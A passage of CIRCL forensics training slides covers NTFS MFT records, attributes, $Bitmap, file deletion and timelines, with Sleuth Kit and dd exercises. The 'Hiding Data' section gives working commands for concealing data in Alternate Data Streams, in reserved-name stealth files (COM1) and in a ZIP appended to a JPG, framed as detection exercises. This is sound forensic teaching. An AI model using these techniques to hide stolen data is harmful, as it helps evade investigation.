|FILE       |           | FF FF FF FF |                   |    |
___________ ___________ ___________________ ________________
0           55 56       ~450                                 1023

Record Header:
     Signature: FILE
     Link Count: File is listed in x directories
     Is this a file or a directory
     Size of the file
     Deleted: Is the file already deleted
Attributes: $STANDARD_INFORMATION; $FILE_NAME; $Data
End of Recort: FF FF FF FF
Empty (Resident Data)
Error Check Sequence
```

3.3 Master File Table - Investigate - Exercise

-

3.3 Master File Table - Investigate - Exercise

```
$ fls -o 2048 ntfs.raw

        r/r 4-128-1:     $AttrDef
        r/r 8-128-2:     $BadClus
        r/r 6-128-1:     $Bitmap
        r/r 7-128-1:     $Boot
        r/r 2-128-1:     $LogFile
        r/r 0-128-1:     $MFT
        r/r 1-128-1:     $MFTMirr
        r/r 9-128-2:     $Secure:$SDS
        r/r 10-128-1:    $UpCase
        r/r 3-128-3:     $Volume
```

3.3 Master File Table - Investigate - Exercise

```
$ fls -o 2048 ntfs.raw

      r/r 4-128-1:     $AttrDef
      r/r 8-128-2:     $BadClus
      r/r 6-128-1:     $Bitmap
      r/r 7-128-1:     $Boot
      r/r 2-128-1:     $LogFile
      r/r 0-128-1:     $MFT
      r/r 1-128-1:     $MFTMirr
      r/r 9-128-2:     $Secure:$SDS
      r/r 10-128-1:    $UpCase
      r/r 3-128-3:     $Volume


$ istat -o 2048 ntfs.raw 0

      .....
      Type: $DATA (128-1)   Name: N/A   Non-Resident   size: 76800   init_size: 76800
      4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
```

3.3 Master File Table - Investigate - Exercise

```
$ fls -o 2048 ntfs.raw

      r/r 4-128-1:     $AttrDef
      r/r 8-128-2:     $BadClus
      r/r 6-128-1:     $Bitmap
      r/r 7-128-1:     $Boot
      r/r 2-128-1:     $LogFile
      r/r 0-128-1:     $MFT
      r/r 1-128-1:     $MFTMirr
      r/r 9-128-2:     $Secure:$SDS
      r/r 10-128-1:    $UpCase
      r/r 3-128-3:     $Volume


$ istat -o 2048 ntfs.raw 0

      .....
      Type: $DATA (128-1)   Name: N/A   Non-Resident   size: 76800   init_size: 76800
      4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22


$ icat -o 2048 ntfs.raw 0 | xxd | less

      00000000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
      00000010: 0100 0100 3800 0100 9801 0000 0004 0000  ....8...........
      .....
      00000400: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
      00000410: 0100 0100 3800 0100 5801 0000 0004 0000  ....8...X.......
      .....
```

3.4 MFT - Record Attributes

```
Header        Attributes   End            Empty          Error
___________ ___________ ___________________ ______________
|FILE       |           | FF FF FF FF |               |    |
___________ ___________ ___________________ ______________
0           55 56       ~450                            1023

Minimum attributes per record:

  $10 — $STANDARD_INFORMATION ($STA)
          Flags: Hidden, System, Archive
          Owner ID
          Time Stamps: Created, Modified, Changed, Accessed

  $30 — $FILE_NAME ($FNA)
          Parent Entry
          Size: Allocated/Actual
          Time Stamps: Created, Modified, Changed, Accessed

  $80 — $Data
          (Non)Resident
          Data
              — Resident
              — Run List

  ( $80 — $Data           )
  (       (Non)Resident   )
  (       Data            )
```

3.4 MFT - Record Attributes - Exercise

-

3.4 MFT - Record Attributes - Exercise

```
istat -o 2048 ntfs.raw 73 | less

$STANDARD_INFORMATION Attribute Values:
        Flags: Archive
        Owner ID: 0
        Security ID: 0  ()
        Created:        2019-12-02 16:25:22.099440400 (CET)
        File Modified:  2019-12-09 16:09:46.183651100 (CET)
        MFT Modified:   2019-12-09 16:09:46.183651100 (CET)
        Accessed:       2019-12-02 16:25:22.099440400 (CET)

$FILE_NAME Attribute Values:
        Flags: Archive
        Name: small_text_file.txt
        Parent MFT Entry: 5     Sequence: 5
        Allocated Size: 16384           Actual Size: 0
        Created:        2019-12-02 16:25:22.099440400 (CET)
        File Modified:  2019-12-02 16:25:22.099440400 (CET)
        MFT Modified:   2019-12-02 16:25:22.099440400 (CET)
        Accessed:       2019-12-02 16:25:22.099440400 (CET)

Attributes:
        Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 48
        Type: $FILE_NAME (48-3)   Name: N/A   Resident   size: 104
        Type: $SECURITY_DESCRIPTOR (80-1)   Name: N/A   Resident   size: 80
        Type: $DATA (128-2)   Name: N/A   Non-Resident   size: 15000  init_size: 15000
        4169 4170 4171 4172
```

3.5 Hiding Data - ADS

- Exercise: Information Exfiltration: Are there hidden data?
  - Windows Explorer
  - Show hidden files
  - CMD: `dir`
  - Open the file
  -
  - Other ideas?
- Answers:

  >
  >
  >
  >

- Creating ADS:

  >
  >
  >
  >
  >

3.5 Hiding Data - ADS

- Exercise: Information Exfiltration: Are there hidden data?
  - Windows Explorer
  - Show hidden files
  - CMD: `dir`
  - Open the file
  -
  - Other ideas?
- Answers:

```
> dir /r          # Windows Vista +
>
> notepad G:\test.txt:123.txt
> mspaint G:\text.txt:123.jpg
```

- Creating ADS:

```
> File name syntax: <filename.ext>:<stream-name.ext>
>
> type 123.txt >> G:\test.txt:123.txt
> type "C:\Documents and Settings\All Users\Documents\My Pictures\
>              Sample Pictures\Sunset.jpg >> test.txt:123.jpg
```

3.5 Hiding Data - ADS

- History Alternate Data Stream:
  - OS/2 development by Microsoft and IBM
  - HPFS suported extended attributes in forks
  - NTFS forks renamed ADS

- Use of Alternate Data Stream:
  - Download zone of files
  - Replace of 'Thumbs.db' file in Windows 2000
  - File properties manually updated

- Exercise: Investigate MFT record after ADS creation
  1. Dump MFT record of the ADS hosting file
  2. Add an Alternate Data Stream to the file
  3. Dump MFT record of the ADS hosting file
  4. Analyze what has changed

3.5 Hiding Data - Stealth files

- Reserved device names

```
CON, PRN, AUX,NUL,
COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9,
LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9

H:\>echo "Sensitive data exfiltration" > COM1.txt
     The system cannot find the file specified.
```

- Avoid automatic string parsing with '\\?\'

```
H:\>type "Sensitive data exfiltration" > \\?\H:\COM1
     The system cannot find the file specified.

H:\>echo "Sensitive data exfiltration" > \\?\H:\COM1

H:\>dir
     02/09/2021  02:49 PM                 32 COM1

H:\>more \\?\H:\COM1
     "Sensitive data exfiltration"
```

- → Stealth files

3.5 Hiding Data - ZIP Repair

- ZIP data hiding

```
H:\>echo "The fox is sleeping!" > token.txt
H:\>dir
     07/14/2009  05:52 AM           845,941 innocent.jpg
     02/11/2021  02:22 PM                25 token.txt

H:\>"c:\Program Files\WinZip\WZZIP.EXE" -a token.zip token.txt
H:\>dir
     07/14/2009  05:52 AM           845,941 innocent.jpg
     02/11/2021  02:22 PM                25 token.txt
     02/11/2021  02:27 PM               150 token.zip

H:\>copy /b innocent.jpg + token.zip myPhoto.jpg
H:\>del innocent.jpg token.txt token.zip
H:\>dir
     02/11/2021  02:33 PM           846,091 myPhoto.jpg
```

```
$ zip -FF myPhoto.jpg --out token.zip
$ ll
     846091 Feb 11 14:33 myPhoto.jpg*
        146 Feb 11 14:46 token.zip

$ 7z x token.zip
$ cat token.txt
     "The fox is sleeping!"
```

CIRCL
FORENSICS Training

4. NTFS - Advanced

4.1 Investigating a (Non)-Resident file

```
$ sudo mount -o ro,offset=$((512*2048)) ntfs.raw /mnt/
$ ls -l /mnt/small_text_file.txt
        15000 Dez  9  2019 /mnt/small_text_file.txt
$ sudo umount /mnt
```

```
$ fsstat -o 2048 ntfs.raw

FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: NTFS

METADATA INFORMATION
--------------------------------------------
First Cluster of MFT: 4
First Cluster of MFT Mirror: 16255
Size of MFT Entries: 1024 bytes

CONTENT INFORMATION
--------------------------------------------
Sector Size: 512
Cluster Size: 4096
Total Cluster Range: 0 - 32510
```

Challenge:

How many clusters needed for that file?

```
$ fls -o 2048 ntfs.raw

r/r 73-128-2:       small_text_file.txt
```

4.1 Investigating a (Non)-Resident file

```
$ istat -o 2048 ntfs.raw 73

    Attributes:
       .....
    Type: $DATA (128-2)   Name: N/A   Non-Resident   size: 15000   init_size: 15000
    4169 4170 4171 4172
```

Exercise: Analyze data with TSK

```
$ icat -o 2048 ntfs.raw 73 | less

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    .....
```

Challenge:

What is the difference?

Exercise: Analyze data manually with dd

```
$ dd if=ntfs.raw skip=$((2048 + 4169*8)) count=32| xxd | less

    0000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
    0010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
    .....
```

4.1 Investigating a (Non)-Resident file

Demo: Analyze MFT record manually

Challenge: Explain this offset!

```
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 73*2)) count=2 | xxd | less

    0000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
    0010: 0100 0100 3800 0100 b801 0000 0004 0000  ....8...........
    .....
    0030: 1300 0000 0000 0000 1000 0000 4800 0000  ............H...
    .....
    0080: 3000 0000 8000 0000 0000 0000 0000 0300  0...............
    .....
    0160: 0000 0001 0000 0000 8000 0000 4800 0000  ............H...
    0170: 0100 4000 0000 0200 0000 0000 0000 0000  ..@.............
    0180: 0300 0000 0000 0000 4000 0000 0000 0000  ........@.......
    0190: 0040 0000 0000 0000 983a 0000 0000 0000  .@.......:......
    01a0: 983a 0000 0000 0000 2104 4910 0000 0000  .:......!.I.....
    01b0: ffff ffff 0000 0000 ffff ffff 0000 0000  ................

    Analysis:
    ----------------------------------------
    0000 — 0037    Attribute Header
    0038 — 007F    1. Attribute $10 — $Standard_Information
    0080 — 00FF    2. Attribute $30 — $File_Name
    0100 — 0167    3. Attribute $50 — $Securiy_Descriptor
    0168 — 01AF    4. Attribute $80 — $Data
    01B0 — 01BF    End Marker
```

4.1 Investigating a (Non)-Resident file

Demo: Analyze MFT record manually

```
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 73*2)) count=2 | xxd | less

     0000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
     0010: 0100 0100 3800 0100 b801 0000 0004 0000  ....8...........
     .....
     0030: 1300 0000 0000 0000 1000 0000 4800 0000  ............H...
     .....
     0080: 3000 0000 8000 0000 0000 0000 0000 0300  0...............
     .....
     0160: 0000 0001 0000 0000 8000 0000 4800 0000  ............H...
     0170: 0100 4000 0000 0200 0000 0000 0000 0000  ..@.............
     0180: 0300 0000 0000 0000 4000 0000 0000 0000  ........@.......
     0190: 0040 0000 0000 0000 983a 0000 0000 0000  .@.......:......
     01a0: 983a 0000 0000 0000 2104 4910 0000 0000  .:......!.I.....
     01b0: ffff ffff 0000 0000 ffff ffff 0000 0000  ................
```

	Offset	Offset	Size	Value		Description:	
	0168	00	4	8000 0000	$80	Attribute Type ID: $80	
	016C	04	4	4800 0000	72	Length of Attribute	
—>	0170	08	1	01	01	Non—Resident Flag	<—
	0190	28	8	0040 0000 0000 0000	16384	Allocated size	
	0198	30	8	983a 0000 0000 0000	15000	Actual size	
	01AA	42	2	4910	4169	Start cluster of data run	

4.1 Investigating a (Non)-Resident file

```
$ sudo mount -o ro,offset=$((512*2048)) ntfs.raw /mnt/
$ ls -l /mnt/NTFS_Sub_Dir/sub_Dir_File1.txt
    13 Dez  9  2019 /mnt/NTFS_Sub_Dir/sub_Dir_File1.txt
$ sudo umount /mnt


$ fls -r -o 2048 ntfs.raw | grep File1
    r/r 74-128-2:       sub_Dir_File1.txt


$ istat -o 2048 ntfs.raw 74
    Attributes:
    Type: $DATA (128-2)   Name: N/A   Resident   size: 13


$ icat -o 2048 ntfs.raw 74
    Hello World!
```

Exercise:: Investigate Non-Resident Flag

-

4.1 Investigating a (Non)-Resident file

```
$ sudo mount -o ro,offset=$((512*2048)) ntfs.raw /mnt/
$ ls -l /mnt/NTFS_Sub_Dir/sub_Dir_File1.txt
    13 Dez  9  2019 /mnt/NTFS_Sub_Dir/sub_Dir_File1.txt
$ sudo umount /mnt


$ fls -r -o 2048 ntfs.raw | grep File1
    r/r 74-128-2:       sub_Dir_File1.txt


$ istat -o 2048 ntfs.raw 74
    Attributes:
    Type: $DATA (128-2)   Name: N/A   Resident   size: 13


$ icat -o 2048 ntfs.raw 74
    Hello World!


Exercise:: Investigate Non-Resident Flag
---------------------------------------


$ dd if=ntfs.raw skip=$((2048 + 4*8 + 74*2)) count=2| xxd | less
    .....
    0160: 0000 0001 0000 0000 8000 0000 2800 0000  ............(...
    0170: 0000 0000 0000 0200 0d00 0000 1800 0000  ................
    0180: 4865 6c6c 6f20 576f 726c 6421 0a00 0000  Hello World!....
    0190: ffff ffff 0000 0000 0000 0000 0000 0000  ................
```

4.2 Analyzing MFT Record manually

```
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 74*2)) count=2| xxd | less

0000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
0010: 0100 0100 3800 0100 9801 0000 0004 0000  ....8...........
0020: 0000 0000 0000 0000 0400 0000 4a00 0000  ............J...
0030: 0500 0000 0000 0000 1000 0000 4800 0000  ............H...
0040: 0000 0000 0000 0000 3000 0000 1800 0000  ........0.......
0050: d376 a1e4 95ae d501 2580 a1e4 95ae d501  .v......%.......
0060: 2580 a1e4 95ae d501 d376 a1e4 95ae d501  %........v......
0070: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
0080: 3000 0000 8000 0000 0000 0000 0000 0300  0...............
```

Offset	Size	Value		Description:
0000	4	4649 4c45	FILE	Signature
0006	2	0300	3	Entries in Fixup Area
0008	8	0000 0000 0000 0000	0	$LogFile Seq Num
0010	2	0100	1	Seq Num: Use of record
0012	2	0100	1	Link Count
0014	2	3800	56	Offset to first attribute
0016	2	0100	file	file=1; directory=3
0018	4	9801 0000	408	Record size in use
001C	4	0004 0000	1024	Record size allocated
002C	4	4a00 0000	74	Record number
0031	3	0000 0000 0000	0	Fixup Area
0038	4	1000 0000	$10	Attribute $10
003C	4	4800 0000	0x48	Attribute size

4.2 Analyzing MFT Record manually

```
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 74*2)) count=2| xxd | less

0030: 0500 0000 0000 0000 1000 0000 4800 0000  ............H...
0040: 0000 0000 0000 0000 3000 0000 1800 0000  ........0.......
0050: d376 a1e4 95ae d501 2580 a1e4 95ae d501  .v......%.......
0060: 2580 a1e4 95ae d501 d376 a1e4 95ae d501  %........v......
0070: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
0080: 3000 0000 8000 0000 0000 0000 0000 0300  0...............
0090: 6400 0000 1800 0100 4800 0000 0000 0200  d.......H.......
00a0: d376 a1e4 95ae d501 d376 a1e4 95ae d501  .v.......v......
00b0: d376 a1e4 95ae d501 d376 a1e4 95ae d501  .v.......v......
00c0: 1000 0000 0000 0000 0000 0000 0000 0000  ................
00d0: 2000 0000 0000 0000 1100 7300 7500 6200   .........s.u.b.
00e0: 5f00 4400 6900 7200 5f00 4600 6900 6c00  _.D.i.r._.F.i.l.
00f0: 6500 3100 2e00 7400 7800 7400 1800 0000  e.1...t.x.t.....
0100: 5000 0000 6800 0000 0000 0000 0000 0100  P...h...........
0110: 5000 0000 1800 0000 0100 0480 1400 0000  P...............
```

Offset	Size	Value		Description:
0038	4	1000 0000	$10	$STANDARD_INOFRMATION
003C	4	4800 0000	0x48	Attribute size
0080	4	3000 0000	$30	$FILE_NAME
0084	4	8000 0000	0x80	Attribute size
0100	4	5000 0000	$50	$SECURITY_DESCRIPTOR
0104	4	6800 0000	0x68	Attribute size

4.2 Analyzing MFT Record manually

```
0100: 5000 0000 6800 0000 0000 0000 0000 0100  P...h...........
0110: 5000 0000 1800 0000 0100 0480 1400 0000  P...............
0120: 2400 0000 0000 0000 3400 0000 0102 0000  $.......4.......
0130: 0000 0005 2000 0000 2002 0000 0102 0000  .... ... .......
0140: 0000 0005 2000 0000 2002 0000 0200 1c00  .... ... .......
0150: 0100 0000 0003 1400 ff01 1f00 0101 0000  ................
0160: 0000 0001 0000 0000 8000 0000 2800 0000  ............(...
0170: 0000 0000 0000 0200 0d00 0000 1800 0000  ................
0180: 4865 6c6c 6f20 576f 726c 6421 0a00 0000  Hello World!....
0190: ffff ffff 0000 0000 0000 0000 0000 0000  ................
```

Offset	Size	Value		Description:
0100	4	5000 0000	$50	$SECURITY_DESCRIPTOR
0104	4	6800 0000	0x68	Attribute size
0168	4	8000 0000	$80	$SECURITY_DESCRIPTOR
016C	4	2800 0000	0x68	Attribute size
0170	1	00	0	Non—Resident Flag
0171	1	00	0	Name lenght
0172	2	0000	0	Name offset
0174	2	0000	0	Flags
0176	2	0200	2	Attribute ID
0178	4	0d00 0000	13	Attribute lenght
017C	2	1800	0x18	Attribute offset
017E	2	0000	0	Padding
0180	F			Content + Padding
0190	4	ffff ffff	EOR	End Marker

4.3 Analyzing $Bitmap file

```
- $Bitmap file is located at MFT record 6
- It contains the status of each cluster
    -- Allocated or
    -- Not allocated
- Each bit represent a cluster
- Example: Byte  1: 0x13  ==  0001 0100
          --> Allocated Cluster: 3, 5
          --> Not allocated Clusters: 1, 2, 4, 6, 7, 8
           Byte 12: 0xC1  ==  1100 0001                    # 12 * 8 = 96
          --> Allocated Cluster: 96, 102, 103
          --> Not allocated Clusters: 97, 98, 99, 100. 101
```

Exercise: Calculate size of the $Bitmap file

```
$ fsstat -o 2048 ntfs.raw
    Cluster Size: 4096
    Total Cluster Range: 0 - 32510
    Total Sector Range: 0 - 260094

32510 Clusters  -->  32510 Bits  -->  4064 Byts  --> 8 Sectors --> 1 Clusters

$ istat -o 2048 ntfs.raw 6

    Attributes:
    Type: $DATA (128-1)   Name: N/A   Non-Resident   size: 4064   init_size: 4064
    4071
```

4.3 Analyzing $Bitmap file

```
Investigate bitmap for cluster 29056-29063

    Calculate bitmap position: 29056 / 8 = 3632 = 0xe30

  $ icat -o 2048 ntfs.raw 6 | xxd | less
     00000e30: 0000 0000 0000 0000  0000 0000 0000 0000  ................
               ==
```

Exercise: Create a 6 cluster test file to investigate $Bitmap file

4.3 Analyzing $Bitmap file

```
Investigate bitmap for cluster 29056-29063

    Calculate bitmap position: 29056 / 8 = 3632 = 0xe30

  $ icat -o 2048 ntfs.raw 6 | xxd | less
     00000e30: 0000 0000 0000 0000  0000 0000 0000 0000  ................
               ==
```

Exercise: Create a 6 cluster test file to investigate $Bitmap file

```
$ dd if=/dev/zero of=/cdrom/6-cluster.txt count=47

$ ls -lh /cdrom/6-cluster.txt
     24064 Dez  5 12:10 /cdrom/6-cluster.txt

$ fls -o 2048 ntfs.raw
     r/r 66-128-2:      6-cluster.txt
```

4.3 Analyzing $Bitmap file

```
Investigate bitmap for cluster 29056-29063

    Calculate bitmap position: 29056 / 8 = 3632 = 0xe30

  $ icat -o 2048 ntfs.raw 6 | xxd | less
     00000e30: 0000 0000 0000 0000  0000 0000 0000 0000  ................
               ==
```

Exercise: Create a 6 cluster test file to investigate $Bitmap file

```
$ dd if=/dev/zero of=/cdrom/6-cluster.txt count=47

$ ls -lh /cdrom/6-cluster.txt
     24064 Dez  5 12:10 /cdrom/6-cluster.txt

$ fls -o 2048 ntfs.raw
     r/r 66-128-2:      6-cluster.txt

$ istat -o 2048 ntfs.raw 66
     Attributes:
     29056 29057 29058 29059 29060 29061
```

4.3 Analyzing $Bitmap file

```
Investigate bitmap for cluster 29056-29063

    Calculate bitmap position: 29056 / 8 = 3632 = 0xe30

  $ icat -o 2048 ntfs.raw 6 | xxd | less
     00000e30: 0000 0000 0000 0000  0000 0000 0000 0000  ................
               ==
```

Exercise: Create a 6 cluster test file to investigate $Bitmap file

```
$ dd if=/dev/zero of=/cdrom/6-cluster.txt count=47

$ ls -lh /cdrom/6-cluster.txt
     24064 Dez  5 12:10 /cdrom/6-cluster.txt

$ fls -o 2048 ntfs.raw
     r/r 66-128-2:      6-cluster.txt

$ istat -o 2048 ntfs.raw 66
     Attributes:
     29056 29057 29058 29059 29060 29061

$ icat -o 2048 ntfs.raw 6 | xxd | less
     00000e30: 3f00 0000 0000 0000  0000 0000 0000 0000  ?...............
               ==
            0011  1111
    --> Allocated clusters: 29056, 29057, 29058, 29059, 29060, 29061
```

4.4 Deleting a file: What will change?

```
$ ls -l /cdrom/small_text_file.txt
    15000 Dez  9 16:09 /cdrom/small_text_file.txt

$ fls -o 2048 ntfs.raw
    r/r 73-128-2:      small_text_file.txt

$ istat -o 2048 ntfs.raw 73
    Type: $DATA (128-2)   Name: N/A   Non-Resident   size: 15000   init_size: 15000
    4169 4170 4171 4172


Data cluster:
$ dd if=ntfs.raw skip=$((2048 + 4169*8)) count=$((4*8)) | xxd | less
$ icat -o 2048 ntfs.raw 73  | xxd | less

MFT record 73:
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 73*2)) count=2| xxd | less

$Bitmap file
4169 / 8 = 521.125  --> Byte 521 (0x209) in $Bitmap file for Cluster 4168 - 4175
                    --> - - - -  - - - -
                              x  x x x

$ icat -o 2048 ntfs.raw 6  | xxd | less

1. Extract the data
2. $ rm /cdrom/small_text_file.txt
3. Extract data and compare
```

4.4 Deleting a file: What will change?

Before delete:

Data cluster:

```
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
.....
00003a70: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003a80: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003a90: 4141 4141 4141 4141 0000 0000 0000 0000  AAAAAAAA........
00003aa0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00003ab0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
.....
00003fe0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00003ff0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
```

$Bitmap file:

```
00000200: ffff ffff ffff ffff ffff 0700 0000 0000  ................
```

```
0x209 = 1 1 1 1  1 1 1 1
        x   x x x
```

4.4 Deleting a file: What will change?

After delete:

Data cluster:

```
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
.....
00003a70: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003a80: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003a90: 4141 4141 4141 4141 0000 0000 0000 0000  AAAAAAAA........
00003aa0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00003ab0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
.....
00003fe0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00003ff0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
```

$Bitmap file:

```
00000200: ffff ffff ffff ffff ffe1 0700 0000 0000  ................
```

```
0x209 = 1 1 1 0  0 0 0 1
        x   x x x
```

4.4 Deleting a file: What will change?

Before delete:

MFT record:

```
00000000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
00000010: 0100 0100 3800 0100 b801 0000 0004 0000  ....8...........
00000020: 0000 0000 0000 0000 0400 0000 4900 0000  ............I...
00000030: 1300 0000 0000 0000 1000 0000 4800 0000  ............H...
00000040: 0000 0000 0000 0000 3000 0000 1800 0000  ........0.......
.....
000003f0: 0000 0000 0000 0000 0000 0000 0000 1300  ................
```

offset:	size:	value:	description:
0010	2	1	Record sequence number
0012	2	1	Link count
0016	2	1	Record flag: 0000 = file deleted 0100 = file in use 0200 = dir deleted 0300 = dir in use
0030	2	1100	FixUp values
03fe	2	1300	CRC

4.4 Deleting a file: What will change?

After delete:

MFT record:

```
00000000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
00000010: 0200 0000 3800 0000 b801 0000 0004 0000  ....8...........
00000020: 0000 0000 0000 0000 0400 0000 4900 0000  ............I...
00000030: 1400 0000 0000 0000 1000 0000 4800 0000  ............H...
00000040: 0000 0000 0000 0000 3000 0000 1800 0000  ........0.......
.....
000003f0: 0000 0000 0000 0000 0000 0000 0000 1400  ................
```

offset:	size:	value:	description:
0010	2	2	Record sequence number
0012	2	0	Link count
0016	2	0	Record flag: 0000 = file deleted 0100 = file in use 0200 = dir deleted 0300 = dir in use
0030	2	1400	FixUp values
03fe	2	1400	CRC

4.5 Directories

```
$ mkdir NTFS_Sub_Dir
$ echo "Hello World!" > NTFS_Sub_Dir/sub_Dir_File1.txt
$ ls -la NTFS_Sub_Dir/
          168 Dez  9 14:38 ./
         4096 Dez  9 14:37 ../
           13 Dez  9 14:38 sub_Dir_File1.txt

$ fls -r -o 2048 ntfs.raw
     d/d 72-144-2: NTFS_Sub_Dir
     r/r 74-128-2: sub_Dir_File1.txt

$ dd if=ntfs.raw skip=$((2048 + 4*8 + 72*2)) count=2 | xxd | less
     00000000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
     00000010: 0200 0100 3800 0300 3002 0000 0004 0000  ....8...0.......
     00000020: 0000 0000 0000 0000 0400 0000 4800 0000  ............H...
     00000030: 1000 7200 0000 0000 1000 0000 4800 0000  ..r.........H...
     00000040: 0000 0000 0000 0000 3000 0000 1800 0000  ........0.......
     00000050: 6e9d 97c1 95ae d501 5877 a1e4 95ae d501  n.......Xw......
     00000060: 5877 a1e4 95ae d501 c624 dded 95ae d501  Xw.......$......
     00000070: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
```

Offset:	Length:	Value:	Description:
00000000	4	FILE	Record header signature
00000014	2	3800	Pointer to first attribute
00000016	2	0300	Record flag: 3 = directory in use
00000038	4	1000 0000	Standard Information
0000003C	4	4800 0000	Size of the attribute (total)

4.5 Directories

```
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 72*2)) count=2 | xxd | less
    00000080: 3000 0000 7800 0000 0000 0000 0000 0300  0...x...........
    .....
    000000d0: 2000 0010 0000 0000 0c00 4e00 5400 4600   .........N.T.F.
    000000e0: 5300 5f00 5300 7500 6200 5f00 4400 6900  S._.S.u.b._.D.i.
    000000f0: 7200 1800 0000 0200 5000 0000 6800 0000  r.......P...h...
    .....
    00000160: 9000 0000 c800 0000 0004 1800 0000 0200  ................
    00000170: a800 0000 2000 0000 2400 4900 3300 3000  ....  ...$.I.3.0.
    00000180: 3000 0000 0100 0000 0010 0000 0100 0000  0...............
    00000190: 1000 0000 9800 0000 9800 0000 0000 0000  ................
    000001a0: 4a00 0000 0000 0100 7800 6400 0000 0000  J.......x.d.....
    000001b0: 4800 0000 0000 0200 d376 a1e4 95ae d501  H........v......
    000001c0: 2580 a1e4 95ae d501 2580 a1e4 95ae d501  %......%.......
    000001d0: d376 a1e4 95ae d501 1000 0000 0000 0000  .v..............
    000001e0: 0d00 0000 0000 0000 2000 0000 0000 0000  ........ .......
    000001f0: 1100 7300 7500 6200 5f00 4400 6900 1000  ..s.u.b._.D.i...
    00000200: 5f00 4600 6900 6c00 6500 3100 2e00 7400  _.F.i.l.e.1...t.
    00000210: 7800 7400 0000 0000 0000 0000 0000 0000  x.t.............
    00000220: 1000 0000 0200 0000 ffff ffff 0000 0000  ................
```

Offset:	Length:	Value:	Description:
00000080	4	3000 0000	$FILE_NAME
00000084	4	7800 0000	Size of the attribute (total)
00000088	1	0000	Resident
00000160	4	9000 0000	$INDEX_ROOT

CIRCL
FORENSICS Training

5. File System Time Line

5.1 Time stamps: Nomenclature

- FAT
  - MAC times
    - M time: Content last Modified
    - A time: Content last Accessed
    - C time: File Created
- NTFS
  - MACE times
    - M time: Content last Modified
    - A time: Content last Accessed
    - C time: File Created
    - E-time: MFT Entry last mofidied
  - MACB times
    - M time: Content last Modified
    - A time: Content last Accessed
    - C time: MFT record last Changed
    - B-time: File created (Born)

5.2 Time stamps: Example

```
$ istat -o 2048 ntfs.raw 73

     MFT Entry Header Values:
     Entry: 73        Sequence: 2
     $LogFile Sequence Number: 0
     Not Allocated File
     Links: 0

     $STANDARD_INFORMATION Attribute Values:
     Flags: Archive
     Owner ID: 0
     Security ID: 0  ()
     Created:            2019-12-02 16:25:22.099440400 (CET)
     File Modified:      2019-12-09 16:09:46.183651100 (CET)
     MFT Modified:       2019-12-09 16:09:46.183651100 (CET)
     Accessed:           2019-12-02 16:25:22.099440400 (CET)

     $FILE_NAME Attribute Values:
     Flags: Archive
     Name: small_text_file.txt
     Parent MFT Entry: 5        Sequence: 5
     Allocated Size: 16384      Actual Size: 0
     Created:            2019-12-02 16:25:22.099440400 (CET)
     File Modified:      2019-12-02 16:25:22.099440400 (CET)
     MFT Modified:       2019-12-02 16:25:22.099440400 (CET)
     Accessed:           2019-12-02 16:25:22.099440400 (CET)
```

5.3 Last Access Time

- Updated im memory, writen to disk after ≈1h
- As of Win Vista
  - Not updated per default
    - `HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/ /FileSystem/NtfsDisableLastAccessUpdate`

    - Performance reasons
    - Good for file server
  - Still updated some times
    - File new created
    - File copied
    - File moved

5.4 Time Line: Exercise

Reproduce file system activities

```
Thu Jun 27 2013 12:23:08      113 ...b        35-128-1 c:/01.txt
Thu Jun 27 2013 12:24:20       75 m.cb        37-128-1 c:/02.txt
Thu Jun 27 2013 12:25:24       75 m.cb        38-128-1 c:/03.txt
                               75 m...        41-128-1 c:/03-copy.txt
Thu Jun 27 2013 12:26:05       75 m..b        39-128-1 c:/44.txt
Thu Jun 27 2013 12:27:00       75 macb        40-128-1 c:/05.txt (deleted)
Thu Jun 27 2013 12:33:50      113 m.c.        35-128-1 c:/01.txt
